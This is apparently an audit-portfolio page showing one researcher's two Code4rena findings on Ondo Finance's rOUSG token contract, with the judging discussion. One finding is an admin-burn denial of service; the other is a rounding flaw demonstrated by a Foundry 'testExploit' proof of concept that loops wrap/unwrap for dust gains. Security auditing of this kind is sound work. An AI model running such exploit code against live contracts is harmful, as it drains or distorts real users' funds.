Ondo Finance - ast3ros's results

Institutional-Grade Finance, Now Onchain.

General Information

Platform: Code4rena

Start Date: 29/03/2024

Pot Size: $36,500 USDC

Total HM: 5

Participants: 72

Period: 5 days

Judge: 3docSec

Total Solo HM: 1

Id: 357

League: ETH

Ondo Finance

Findings Distribution

Researcher Performance

Rank: 22/72

Findings: 2

Award: $72.43

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

Awards

64.1515 USDC - $64.15

Labels

bug
2 (Med Risk)
insufficient quality report
satisfactory
:robot:_26_group
duplicate-32

External Links

Lines of code

https://github.com/code-423n4/2024-03-ondo-finance/blob/4791cd1946f834f27addbc162c1817e897de7bf9/contracts/ousg/rOUSG.sol#L618-L640

Vulnerability details

Impact

The functionality intended to allow administrators to burn rOUSG tokens from any account fails when the account in question is either not KYC compliant or is on a sanctions list. This limitation undermines the admin's ability to manage tokens in a way that may be necessary for regulatory compliance, token supply adjustment, or other critical administrative functions.

Proof of Concept

In rOUSG contract, the burn function allows admin to burn tokens from any specified account.

  /**
   * @notice Admin burn function to burn rOUSG tokens from any account
   * @param _account The account to burn tokens from
   * @param _amount  The amount of rOUSG tokens to burn
   * @dev Transfers burned shares (OUSG) to `msg.sender`
   */
  function burn(
    address _account,
    uint256 _amount
  ) external onlyRole(BURNER_ROLE) {
    uint256 ousgSharesAmount = getSharesByROUSG(_amount);
    if (ousgSharesAmount < OUSG_TO_ROUSG_SHARES_MULTIPLIER)
      revert UnwrapTooSmall();

    _burnShares(_account, ousgSharesAmount);

    ousg.transfer(
      msg.sender,
      ousgSharesAmount / OUSG_TO_ROUSG_SHARES_MULTIPLIER
    );
    emit Transfer(address(0), msg.sender, getROUSGByShares(ousgSharesAmount));
    emit TransferShares(_account, address(0), ousgSharesAmount);
  }

https://github.com/code-423n4/2024-03-ondo-finance/blob/4791cd1946f834f27addbc162c1817e897de7bf9/contracts/ousg/rOUSG.sol#L618-L640

When the _burnShares function is called, it has a _beforeTokenTransfer hook that checks if the from address (the account which token is burnt) is KYCed or in sanction list. If the account is not KYCed and in sanction list, then the call would revert.

  function _beforeTokenTransfer(
    address from,
    address to,
    uint256
  ) internal view {
    // Check constraints when `transferFrom` is called to facliitate
    // a transfer between two parties that are not `from` or `to`.
    if (from != msg.sender && to != msg.sender) {
      require(_getKYCStatus(msg.sender), "rOUSG: 'sender' address not KYC'd");
    }

    if (from != address(0)) {
      // If not minting
      require(_getKYCStatus(from), "rOUSG: 'from' address not KYC'd");
    }

    if (to != address(0)) {
      // If not burning
      require(_getKYCStatus(to), "rOUSG: 'to' address not KYC'd");
    }
  }

This setup inadvertently restricts the admin's ability to burn tokens, meaning break the functionality of the burn function

Tools Used

Manual

In case of burning from admin, allow to burn without checking the KYC status of the account.

  function _beforeTokenTransfer(
    address from,
    address to,
    uint256
  ) internal view {
+  bool isBurningByAdmin = (to == address(0) && hasRole(BURNER_ROLE, msg.sender));
+  if (!isBurningByAdmin) {
        if (from != msg.sender && to != msg.sender) {
        require(_getKYCStatus(msg.sender), "rOUSG: 'sender' address not KYC'd");
        }

        if (from != address(0)) {
        // If not minting
        require(_getKYCStatus(from), "rOUSG: 'from' address not KYC'd");
        }

        if (to != address(0)) {
        // If not burning
        require(_getKYCStatus(to), "rOUSG: 'to' address not KYC'd");
        }
      }
  }

Assessed type

Token-Transfer

#0 - 0xRobocop

2024-04-04T05:08:20Z

Consider QA.

DoS is temporary at worst, CONFIGURER_ROLE can change the KYCRegistry contract.

#1 - c4-pre-sort

2024-04-04T05:08:23Z

0xRobocop marked the issue as primary issue

#2 - c4-pre-sort

2024-04-04T05:08:27Z

0xRobocop marked the issue as insufficient quality report

#3 - YD-Lee

2024-04-09T00:15:59Z

Consider QA.

DoS is temporary at worst, CONFIGURER_ROLE can change the KYCRegistry contract.

Hi @0xRobocop , I think this is valid. It's true the CONFIGURER_ROLE can change the user's kycState, but the role cannot change the sanctionsList, as the only provided function in ISanctionsList.sol is isSanctioned. So if user is sanctioned, admin cannot burn the user's rOUSG tokens.

interface ISanctionsList {
  function isSanctioned(address addr) external view returns (bool);
}

https://github.com/code-423n4/2024-03-ondo-finance/blob/main/contracts/external/chainalysis/ISanctionsList.sol

#4 - c4-judge

2024-04-09T08:29:42Z

3docSec marked the issue as satisfactory

#5 - c4-judge

2024-04-09T08:38:13Z

3docSec marked issue #32 as primary and marked this issue as a duplicate of 32

#6 - YD-Lee

2024-04-09T11:52:54Z

3docSec marked issue #32 as primary and marked this issue as a duplicate of 32

Hi @c4-judge @3docSec , I do not think this is a duplicate of #32. #32 only shows the admin cannot burn tokens after address is removed from KYC list. This only causes a temporary DoS at worst (like @0xRobocop said above), as admin can first add the address to KYC, burn the tokens, and then remove the address from KYC.

The point is admin cannot burn tokens from sanctioned addresses, instead of un-KYC addresses.

#7 - 3docSec

2024-04-09T11:58:38Z

@YD-Lee please refrain from commenting on issues outside of the post-judging-QA period. While you wait for this timeframe, you can review the backstage guidelines that include this and many more guidelines you should follow to keep your backstage access.

#8 - thangtranth

2024-04-11T09:26:25Z

Hi @3docSec,

Can you please help review this? I think @YD-Lee is correct to point out that:

  • un-KYCed addresses only lead to temporary DOS since admin can KYC and burn in a transaction.
  • sanctioned addresses lead to permanent DOS.

So a valid issue has to point out both conditions or at least sanction condition.

Thank you.

#9 - 3docSec

2024-04-11T11:12:09Z

Interesting point.

In general, I would very much agree with you, but this specific case is a little different because the KYC and blocklists are checked together by the KYCRegistry.

So among the #32 group, each and every finding that suggests bypassing the KYC check implicitly covers the blocklist case, and root causes having the same reasonable fix are treated as the same finding on C4.

Awards

8.2807 USDC - $8.28

Labels

bug
downgraded by judge
grade-b
high quality report
primary issue
QA (Quality Assurance)
sponsor disputed
:robot:_29_group
Q-22

External Links

Lines of code

https://github.com/code-423n4/2024-03-ondo-finance/blob/4791cd1946f834f27addbc162c1817e897de7bf9/contracts/ousg/rOUSG.sol#L424-L443 https://github.com/code-423n4/2024-03-ondo-finance/blob/4791cd1946f834f27addbc162c1817e897de7bf9/contracts/ousg/rOUSG.sol#L360-L368

Vulnerability details

Impact

Users receive free shares when wrap and unwrap, users can repeatly do it to earn free shares. This can accummulated for many users lead to overstate of rOUSG supply

Proof of Concept

When unwrapping rOUSG tokens to OUSG tokens, the amount of burnt shares from the users are calculated by getSharesByROUSG function.

  /**
   * @notice Function called by users to unwrap their rOUSG tokens
   *
   * @param _rOUSGAmount The amount of rOUSG to unwrap
   *
   * @dev KYC checks implicit in OUSG Transfer
   */
  function unwrap(uint256 _rOUSGAmount) external whenNotPaused {
    require(_rOUSGAmount > 0, "rOUSG: can't unwrap zero rOUSG tokens");
    uint256 ousgSharesAmount = getSharesByROUSG(_rOUSGAmount);
    if (ousgSharesAmount < OUSG_TO_ROUSG_SHARES_MULTIPLIER)
      revert UnwrapTooSmall();
    _burnShares(msg.sender, ousgSharesAmount);
    ousg.transfer(
      msg.sender,
      ousgSharesAmount / OUSG_TO_ROUSG_SHARES_MULTIPLIER
    );
    emit Transfer(msg.sender, address(0), _rOUSGAmount);
    emit TransferShares(msg.sender, address(0), ousgSharesAmount);
  }

https://github.com/code-423n4/2024-03-ondo-finance/blob/4791cd1946f834f27addbc162c1817e897de7bf9/contracts/ousg/rOUSG.sol#L424-L443

In function getSharesByROUSG, the shares are calculated by _rOUSGAmount/OUSG price. However the function is rounded down. It means that the burned shares are less than the shares that users received when minting the same ROUSG amount.

  /**
   * @return the amount of shares that corresponds to `_rOUSGAmount` of rOUSG
   */
  function getSharesByROUSG(
    uint256 _rOUSGAmount
  ) public view returns (uint256) {
    return
      (_rOUSGAmount * 1e18 * OUSG_TO_ROUSG_SHARES_MULTIPLIER) / getOUSGPrice();
  }

https://github.com/code-423n4/2024-03-ondo-finance/blob/4791cd1946f834f27addbc162c1817e897de7bf9/contracts/ousg/rOUSG.sol#L360-L368

Users can call wrap and unwrap repeatedly, due to the rouding down issue, he receives free shares.

In this scenario:

  • Price OUSG: 105555920000000000000.
  • User mint OUSG and
  • Wrap 10003 and unwrap all rOUSG received 1055875.
  • Repeat for 1000 times
  • Receive 830000 rOUSG for free.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.16;
import {Test, console} from "forge-std/Test.sol";
import "../contracts/ousg/ousg.sol";
import "../contracts/ousg/rOUSGFactory.sol";
import "../contracts/kyc/KYCRegistry.sol";
import "./helpers/DeltaCheckHarness.sol";
import "../contracts/PricerWithOracle.sol";
import "../contracts/external/openzeppelin/contracts/token/IERC20.sol";
import "../contracts/ousg/ousgInstantManager.sol";
import "./helpers/MockBUIDLRedeemer.sol";
import "../contracts/interfaces/IRWALike.sol";
import "../contracts/external/openzeppelin/contracts-upgradeable/token/ERC20/ERC20PresetMinterPauserUpgradeable.sol";
import "forge-tests/ousg/OUSGInstantManager/buidl_helper.sol";

contract OUGSTest is Test, BUIDLHelper {

    address constant OUSG_GUARDIAN = 0xAEd4caF2E535D964165B4392342F71bac77e8367;
    address constant OUSG_ADDRESS = 0x1B19C19393e2d034D8Ff31ff34c81252FcBbee92;
    address PROD_REGISTRY = 0x7cE91291846502D50D635163135B2d40a602dc70;
    address BUILD_REDEEMER = 0x31D3F59Ad4aAC0eeE2247c65EBE8Bf6E9E470a53;
    IERC20 public USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IERC20 constant BUIDL = IERC20(0x7712c34205737192402172409a8F7ccef8aA2AEc);
    address oracle = 0x0502c5ae08E7CD64fe1AEDA7D6e229413eCC6abe;
    address constant instantMintAssetManager = address(0xBAEBAE);
    address constant feeRecipient = address(0x123456);
    uint256 constant OUSG_KYC_REQUIREMENT_GROUP = 1;

    address constant guardian = address(0xFEDBAD);
    address constant pauser = address(0xFFFFFFF);
    address constant alice = address(0x9999991);
    address constant bob = address(0x9999992);
    address constant charlie = address(0x9999993);
    address constant badActor = address(0xBADBAD);
    

    KYCRegistry registry;
    DeltaCheckHarness oracleCheckHarnessOUSG;
    PricerWithOracle pricerOusg;
    ROUSG rOUSGToken; // Proxy with abi of implementation
    TokenProxy rOUSGProxy;
    ProxyAdmin rOUSGProxyAdmin;
    ROUSG rOUSGImplementation;
    OUSGInstantManager ousgInstantManager;
    BUIDLRedeemerMock mockBUIDLRedeemer;
    IRWALike ousg;

    function setUp() public virtual {
        vm.createSelectFork(vm.rpcUrl("https://eth.llamarpc.com"));

        oracleCheckHarnessOUSG = new DeltaCheckHarness();
        oracleCheckHarnessOUSG.setPrice(100e18);
        pricerOusg = new PricerWithOracle(
          address(guardian), // Admin
          address(this), // Pricer
          address(oracleCheckHarnessOUSG)
        );
        oracleCheckHarnessOUSG.setOwner(address(pricerOusg));


        registry = KYCRegistry(PROD_REGISTRY);
        vm.prank(OUSG_GUARDIAN);
        registry.grantRole(bytes32(0), address(this));
        bytes32 groupRole = registry.kycGroupRoles(1);
        vm.prank(OUSG_GUARDIAN);
        registry.grantRole(groupRole, address(this));

        ROUSGFactory factory = new ROUSGFactory(OUSG_GUARDIAN);
        vm.startPrank(OUSG_GUARDIAN);
        (address proxy, address proxyAdmin, address implementation) = factory
          .deployRebasingOUSG(
            address(registry),
            OUSG_KYC_REQUIREMENT_GROUP,
            OUSG_ADDRESS,
            address(oracleCheckHarnessOUSG)
          );
        rOUSGToken = ROUSG(proxy);
        rOUSGProxy = TokenProxy(payable(proxy));
        rOUSGProxyAdmin = ProxyAdmin(proxyAdmin);
        rOUSGImplementation = ROUSG(implementation);
        rOUSGToken.grantRole(rOUSGToken.PAUSER_ROLE(), pauser);
        _addAddressToKYC(OUSG_KYC_REQUIREMENT_GROUP, address(address(rOUSGToken)));
        vm.stopPrank();

        mockBUIDLRedeemer = new BUIDLRedeemerMock(address(BUIDL));
        deal(address(USDC), address(mockBUIDLRedeemer), 250_000e6);

        IOUSGInstantManager.RateLimiterConfig memory rateLimiterConfig = IOUSGInstantManager
          .RateLimiterConfig(
            0, // _instantMintResetDuration
            0, // _instantRedemptionResetDuration
            100_000e6, // _instantMintLimit
            100_000e6 // _instantRedemptionLimit
          );
    
        ousgInstantManager = new OUSGInstantManager(
          OUSG_GUARDIAN, // defaultAdmin
          address(USDC), //  _usdc
          instantMintAssetManager, // _usdcReceiver
          feeRecipient, // _feeReceiver
          address(oracleCheckHarnessOUSG), //  _oracle
          OUSG_ADDRESS, //  _ousg
          address(rOUSGToken), // _rOUSG
          address(BUIDL), // _buidl
          // BUILD_REDEEMER,
          address(mockBUIDLRedeemer), // buidlRedeemer
          rateLimiterConfig
        );

        ousg = IRWALike(OUSG_ADDRESS);
    
        vm.startPrank(OUSG_GUARDIAN);
        CashKYCSenderReceiver ousgProxied = CashKYCSenderReceiver(address(ousg));
        ousgProxied.grantRole(
          ousgProxied.MINTER_ROLE(),
          address(ousgInstantManager)
        );
    
        _addAddressToKYC(OUSG_KYC_REQUIREMENT_GROUP, address(ousgInstantManager));
        // ousgInstantManager.setMintFee(100);
        // ousgInstantManager.setRedeemFee(100);
        ousgInstantManager.setMinimumDepositAmount(10000);
        vm.stopPrank();

        // Other setup
        _addAddressToKYC(OUSG_KYC_REQUIREMENT_GROUP, alice);
        _addAddressToKYC(OUSG_KYC_REQUIREMENT_GROUP, address(mockBUIDLRedeemer));
        _whitelistBUIDLWallet(address(ousgInstantManager));
        _whitelistBUIDLWallet(address(mockBUIDLRedeemer));

    }

    function testExploit() public {
      deal(address(USDC), alice, 150_000e6);
      deal(address(USDC), address(ousgInstantManager), 250_000e6);
      deal(address(BUIDL), address(ousgInstantManager), 250_000e6);
      oracleCheckHarnessOUSG.setPrice(105555920000000000000);
      // Alice mint OUSG
      vm.startPrank(alice);
      USDC.approve(address(ousgInstantManager), 150_000e6);
      ousgInstantManager.mint(100_000e6);
      ousg.approve(address(rOUSGToken), type(uint256).max);
      for (uint256 i = 0; i < 10000; i++) {
         // Wrap 10003 OUSG and receives 1055875 rOUSG. Unwrap all amounts
        rOUSGToken.wrap(10003);
        rOUSGToken.unwrap(1055875); // 10003 * 1e3 * 105555920000000000000 / (1e18 * OUSG_TO_ROUSG_SHARES_MULTIPLIER)
        console.log("Balance of free share after wrap unwrap: ", rOUSGToken.sharesOf(alice));
      }
      console.log("Balance free share: ", rOUSGToken.sharesOf(alice)); // 830000
    }
}

Tools Used

Manual

Using the same approach as ERC4626, allow redeem in shares and rounding up when convert rOUSG to shares for redeeming.

Assessed type

Math

#0 - c4-pre-sort

2024-04-05T02:37:03Z

0xRobocop marked the issue as sufficient quality report

#1 - c4-pre-sort

2024-04-05T02:37:07Z

0xRobocop marked the issue as primary issue

#2 - c4-pre-sort

2024-04-05T02:37:26Z

0xRobocop marked the issue as high quality report

#3 - cameronclifton

2024-04-05T23:13:35Z

The attack seems unfeasible due to gas costs but interesting nonetheless. Please provide a concrete mitigation suggestion.

#4 - c4-sponsor

2024-04-05T23:14:25Z

cameronclifton (sponsor) acknowledged

#5 - c4-sponsor

2024-04-08T15:00:49Z

cameronclifton (sponsor) disputed

#6 - 3docSec

2024-04-09T07:12:01Z

The provided PoC did not compile so I couldn't play with it to assess impact.

I will provisionally downgrade it to QA as the sponsor agreed on the rounding error; if the warden participates in the PJQA, they are invited to provide a working PoC that highlights a proper HM impact. If this is not provided, this finding will stay as QA.

#7 - c4-judge

2024-04-09T07:12:07Z

3docSec changed the severity to QA (Quality Assurance)

#8 - c4-judge

2024-04-09T07:12:11Z

3docSec marked the issue as grade-b

#9 - thangtranth

2024-04-10T11:14:49Z

hi @3docSec,

Sorry, the test above missed a helper function. Please:

  1. put the below gist file in forge-tests/POC.t.sol
  2. Run forge test -vvv --match-path forge-tests/POC.t.sol --match-test testExploit

https://gist.github.com/thangtranth/2ff5ecbb2ba75690dc236e8b0dcf1181

#10 - 3docSec

2024-04-10T11:42:13Z

Nice, thank you.

@thangtranth can you help clarify if there is any impact other than balance accounting being not by dust amounts?

We're mostly looking for H/M impacts as described here; if no impact can be proven, other than dust balance inflation, this finding will have to stay as QA.

#11 - thangtranth

2024-04-11T09:17:20Z

Hi @3docSec,

I submit this issue because this is a feasible way to amplify the amount of imprecision discrepancies in accounting multiple times and give the users free shares.

From the readme docs:

Rebasing Precision Issue - rOUSG is a rebasing tokens and some precision can be lost when wrapping and unwrapping. We expect this to only result in extremely small precision discrepancies. However, if one can find a realistic usage of the contracts that results in a non-trivial amount of imprecision, it would be valid.

Thank you.

#12 - 3docSec

2024-04-11T09:27:17Z

The sponsor and I both agree that this is a trivial amount of imprecision because it's 83 wei's per loop cycle that costs gas (gwei's) to the attacker; you have the possibility to prove a higher impact from your finding to have it considered as a valid M. Otherwise, it will stay QA.

#13 - thangtranth

2024-04-11T09:30:29Z

If the the sponsor is aware of it and find it ok. I think it's fair for it to stay QA. Thanks.

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter